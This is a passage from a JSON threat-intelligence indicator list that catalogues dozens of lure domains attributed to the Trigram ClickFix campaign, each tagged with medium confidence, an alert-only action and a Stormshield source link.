Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "metiscouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "mantle2council.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithalephzero.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinocho.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2surge.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "minatalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinaxelar.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "initiatalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "bit2talents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "workwithbera.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dymensionhires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "animocacouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinwebflow.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ritualhires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "pantherbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "soniccouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2apexef.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2motus.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinsuccinct.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "jointheladders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joindill.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "espresssotalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2sonic.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinkaia.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2animoca.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2amber.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2avail.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "eigencouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithritual.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithrd.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithdymension.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "movementcouncil.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "workwithsei.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "workwithlinea.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "seicareers.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "workwithapex.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dymensioncareers.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithespresso.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "berahires.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "axelarbuilders.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithnillion.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2boyaa.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dymensioncouncil.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "apexbuilders.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinmotus.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "oslhires.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "movementgigs.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "surgebuilders.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "workwitheigen.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2bullish.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "scrolltalents.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "sonichires.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithmina.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "verifearth.space", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "albedorb.world", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "pixelground.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "terraverro.info", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "nadirva.info", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "geoveral.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "groundvy.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "lineagigs.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinmantle.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2celestia.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithmercor.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2initia.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "fuelcouncil.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "joinmetis.site", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "mantlehires.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "lineacareers.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "ritualtalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": 